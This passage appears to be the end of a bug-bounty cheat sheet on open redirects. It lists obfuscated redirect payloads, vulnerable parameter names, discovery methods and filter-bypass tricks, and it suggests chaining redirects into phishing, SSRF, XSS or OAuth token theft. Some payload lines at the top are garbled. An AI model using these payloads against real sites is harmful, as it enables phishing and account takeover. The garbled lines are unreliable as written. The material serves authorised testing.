//XY>.7d8T\[email protected]@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//XY>.7d8T\[email protected]+@β“π¨π—°οΏ½π•β…†π“Έβ“œβ‚β„Ήβ“ƒο½‘οΌ°β“¦/
//XY>.7d8T\[email protected]@google.com/
//XY>.7d8T\[email protected][email protected]/

Common injection points / parameters

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}

How to find entry points to test?

  • Burp Proxy history & Burp Sitemap (look at URLs with parameters)
  • Google dorking. E.g: inurl:redirectUrl=http site:target.com
  • Functionalities usually associated with redirects:
    • Login, Logout, Register & Password reset pages
    • Change site language
    • Links in emails
  • Read JavaScript code
  • Bruteforcing
    • Look for hidden redirect parameters, for e.g.:
    • /redirect?url={payload}&next={payload}&redirect={payload}&redir={payload}&rurl={payload}&redirect_uri={payload}
    • /?url={payload}&next={payload}&redirect={payload}&redir={payload}&rurl={payload}&redirect_uri={payload}

Responses to look for when fuzzing

Tips

  • Try using the same parameter twice: ?next=whitelisted.com&next=google.com
  • If periods filtered, use an IPv4 address in decimal notation http://www.geektools.com/geektools-cgi/ipconv.cgi
  • Try a double-URL and triple-URL encoded version of payloads
  • Try redirecting to an IP address (instead of a domain) using different notations: IPv6, IPv4 in decimal, hex or octal
  • For XSS, try replacing alert(1) with prompt(1) & confirm(1)
  • If extension checked, try ?image_url={payload}/.jpg
  • Try target.com/?redirect_url=.uk (or [any_param]=.uk). If it redirects to target.com.uk, then it’s vulnerable! target.com.uk and target.com are different domains.
  • Use /U+e280 RIGHT-TO-LEFT OVERRIDE: https://whitelisted.com@%E2%80%[email protected]

Tools

  • Burp Intruder & Burp Repeater
  • open-redirect-scanner
  • Dirsearch with an open redirect payloads list (instead of the default list, or combined)

Exploitation

  • Phishing
  • Chaining open redirect with
    • SSRF
    • OAuth token disclosure
    • XSS
    • CRLF injection

Resources

Open redirect writeups


Let me know if you have any comments, requests, questions… Feedback is always welcome.

See you next time!

Top